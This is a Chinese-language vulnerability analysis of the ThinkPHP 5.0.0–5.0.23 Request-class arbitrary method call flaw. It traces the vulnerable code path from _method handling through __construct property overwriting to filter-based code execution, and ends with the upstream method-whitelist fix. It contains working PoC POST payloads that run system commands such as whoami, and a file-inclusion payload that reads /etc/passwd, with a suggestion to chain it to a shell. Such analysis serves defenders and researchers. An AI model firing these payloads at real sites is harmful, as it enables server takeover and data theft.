ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析

工作需要,又分析了一遍。之前理解的比较粗略,这次认真的跟了一遍。

漏洞复现

1.png

漏洞分析

代码执行

/thinkphp/library/think/Request.php中 1077行filterValue方法

可以看到如果我们可以控制$filter$value即可构成一个单参数任意代码执行,而这两个变量都来源于filterValue的参数,因此我们需要找到一个调用这个方法的地方进而回溯变量的来源。
2.png

在此文件的第1026-1029行的input方法中,无论$data是否是数组都调用了这个方法。

public function input($data = [], $name = '', $default = null, $filter = '')
{
            ......
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
            .......
}

array_walk_recursive()函数会对第一个数组参数中的每个元素应用第二个参数的函数。在函数中,数组的键名和键值是参数,且键名是第二个参数,键值是第一个参数。因此我们需要控制的是$data数组的键值以及$filter

对于$filter来说,需要跟进一下$this->getFilter($filter, $default);

$filter为空时,返回$this->filter;

protected function getFilter($filter, $default)
{
  if (is_null($filter)) {
    $filter = [];
  } else {
    $filter = $filter ?: $this->filter;
    if (is_string($filter) && false === strpos($filter, '/')) {
      $filter = explode(',', $filter);
    } else {
      $filter = (array) $filter;
    }
  }

  $filter[] = $default;
  return $filter;
}

继续寻找调用input的方法,同文件634行的param方法最终返回了一个$this->input($this->param, $name, $default, $filter);

$this->param对应上面的$data,它等于array_merge($this->param, $this->get(false), $vars, $this->route(false));,也就是把get参数、当前方法的参数以及路由参数合并到一起,我们是可以控制其值的。因此我们可以控制上面$data的值。

public function param($name = '', $default = null, $filter = '')
{
  if (empty($this->mergeParam)) {
    $method = $this->method(true);
    // 自动获取请求变量
    switch ($method) {
      case 'POST':
        $vars = $this->post(false);
        break;
      case 'PUT':
      case 'DELETE':
      case 'PATCH':
        $vars = $this->put(false);
        break;
      default:
        $vars = [];
    }
    // 当前请求参数和URL地址中的参数合并
    $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    $this->mergeParam = true;
  }
  if (true === $name) {
    // 获取包含文件上传信息的数组
    $file = $this->file();
    $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
    return $this->input($data, '', $default, $filter);
  }
  return $this->input($this->param, $name, $default, $filter);
}

但是对于$filter我们需要控制Request类的$this->filter

任意方法调用

继续看该文件518行method方法

$this->{$this->method}($_POST);中,如果$this->method可控我们就可以调用该类的任意方法。

首先mehod方法的参数需要为false,不过其默认就是false。然后需要存在$_POST[Config::get('var_method')])Config::get从配置参数中取值,

3.png

在配置文件中可以看到其默认值为_method

4.png

然后$this->method也等于该值post过来的参数值,因此我们可以POST一个_method=方法名进行任意方法调用。

虽然进行了大写转换,但是对于php来说,是不影响的。

5.png

变量覆盖

通过上面的分析,我们知道我们需要控制Request对象的$this->filter属性。

看其构造方法,存在一个任意属性赋值操作。

6.png

因此我们可以配合上面的任意方法调用去覆盖$this->filter的值。

_method=__construct&filter[]=system

上面我们提到了还需要控制$data数组的键值,也就是$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));这里,跟进$this->get(false)

可以看到当$this->get为空时,$this->get = $_GET;,否则直接返回$this->get

public function get($name = '', $default = null, $filter = '')
{
  if (empty($this->get)) {
    $this->get = $_GET;
  }
  if (is_array($name)) {
    $this->param      = [];
    return $this->get = array_merge($this->get, $name);
  }
  return $this->input($this->get, $name, $default, $filter);
}

因此payload中get[]=whoami其实也用到了上面的变量覆盖,把$this->get覆盖为值为whoami的array数组。

我们也可以改下payload,让其从$_GET中传值也是可以的。

7.png

触发流程

上面只是漏洞产生原理的分析,我们还需要了解怎么调用的Request类的method方法以及param方法。

thinkphp/library/think/Route.php

836行中的check方法

此处调用了Request对象的method方法,且没有传入参数值,因此其默认参数值为false,符合漏洞利用条件。

8.png

/thinkphp/library/think/App.php

617行routeCheck方法调用了Route::check方法。

9.png

想要进入if条件的话,$check需要为true,也就是开启了路由。默认情况下其为true。

10.png

而在应用程序启动类Apprun方法中116行,调用了routeCheck,不过需要$dispatch为空。

// 监听 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
  $dispatch = self::routeCheck($request, $config);
}

跟进Hook::listen,默认没有app_dispatch行为,因此$dispatch默认为空。

11.png

接下来是Request对象param方法的触发流程。

/thinkphp/library/think/App.php

$dispatch['type']methodcontroller时,也就是说路由会路由到类的方法,会调用Request::instance()->param()

12.png

App类的run方法中也调用了该exec方法,$dispatch参数来源于routeCheck

13.png

因此我们还要继续跟self::routeCheck,只需要关注返回值中type的值。

 public static function routeCheck($request, array $config)
 {
                    ......
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
 }

不断跟进,最终

14.png

看一下调用栈

15.png

关键其实就是$route的值,回溯调用看一下$route从哪里来的

可以看到是checkRoute方法的$rules参数的键值

16.png
继续回溯$rules的值,在check方法中可以看到,他从self::$rules[$method]中取值,这里的method其实就是我们payload中method=get的值,利用上面Request对象的__construct方法覆盖了返回值$this->method

17.png

ThinkPHP5 中自带的验证码组件captcha注册了一个get路由规则,路由到类的方法,满足case条件。这里可以知道method=get是为了正确获取captcha的路由规则。

18.png

最终我们可以构造出poc

5.0.02-5.0.23

http://127.0.0.1/index.php?s=captcha

_method=__construct&filter[]=system&method=get&get[]=whoami

5.0.0-5.0.12

http://127.0.0.1/index.php?s=index/index

_method=__construct&filter[]=system&method=POST&s=whoami

为什么有两个poc

5.0.1 App类没有exec方法,且switch的每个条件中都没有调用Request对象的param方法。

26.png

不过跟进module条件中,一步步跟入可以看到间接调用了Request::instance()->param();

27.png
因此我们不用依赖captcha去进入到method流程中,默认index.php?s=index/index会进入module流程中并且$method = $request->method();没有了转换为小写字母的函数,且rules数组键名默认为大写,5.0.23是小写,所以我们payload中method=GET必须使用大写GET

28.png

在后续版本中,代码可能也有略微不同,不过我们依然可以构造一个5.0.0-5.0.23通用poc

http://127.0.0.1/index.php?s=captcha

_method=__construct&filter[]=system&method=GET&get[]=whoami

POC2

还有一个poc2,不过仅限于特定版本5.0.21-5.0.23

http://127.0.0.1/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

回头看Request对象的param方法,他也调用了method,不过参数为true

20.png

因此会进入$this->server

21.png

里面也调用了input方法。

22.png
$this->server对应input($data = [], $name = '', $default = null, $filter = '')$data参数,且$nameREQUEST_METHOD不为空,会进入if条件中,获取$data[$name]的赋值给$data,也就是$this->server[REQUEST_METHOD]

23.png

此时$data不是数组,会进入$this->filterValue($data, $name, $filter);

24.png

再结合之前的__construct覆盖$filter属性,同样可以造成RCE。

任意文件包含

http://127.0.0.1/index.php?s=captcha

_method=__construct&method=GET&filter[]=think\__include_file&server[]=1&get[]=/etc/passwd

在大多数情况下网站都会禁用system等危险函数,而上面的payload都是单参数的,无法调用file_put_contents进行任意文件写。

不过/thinkphp/library/think/Loader.php中有一个__include_file函数,且Thinkphp基础文件base.php一开始就包含了它。

namespace think;
......
function __include_file($file)
{
    return include $file;
}

因此我们可以用call_user_func直接去调用他。

call_user_func("think\__include_file","/etc/passwd");
然后可以配合文件上传或者日志文件进行包含getshell。

pathinfo与兼容模式

几乎所有的框架(ThinkPHP,Zend Framework,CI,Yii,laravel等)都会使用URL重写或者pathinfo模式,使URL看起来更美观,比如可以隐藏掉入口文件,并且有利于搜索引擎优化。

几种访问模式

普通模式。如:http://localhost/index.php?m=模块&a=方法

pathinfo模式。如:http://localhost/index.php/模块/方法

rewrite重写(伪静态) 可以自己写相关的rewrite规则,也可以使用系统为我们提供的rewrite规则隐藏掉index.php,生成:http://localhost/模块/方法

兼容模式。当服务器上面不支持pathinfo模式的时候,但是你又在之前的路径访问格式上面,全部用的是pathinfo格式。那么它会提示你路径格式不正确。那么,你就可以用标号为3的兼容模式来处理。他的路径访问类似于http://localhost/index.php?s=模块/方法

当服务器上面不支持pathinfo模式的时候,可以用兼容模式来使用pathinfo格式的url。

thinkphp5默认的var_pathinfos

19.png

因此我们可以使用http://localhost/index.php?s=captcha来访问验证码模块

在某些情况下,如果http://localhost/index.php?s=captcha访问不到验证码模块时,可能是没有安装captcha,也可能是开发人员把默认的PATHINFO变量名给改了。此时可以尝试访问http://localhost/index.php/captcha或者http://localhost/captcha

漏洞修复

设置了$method白名单为['GET', 'POST', 'DELETE', 'PUT', 'PATCH'],从而限制了其调用本类中的方法。
25.png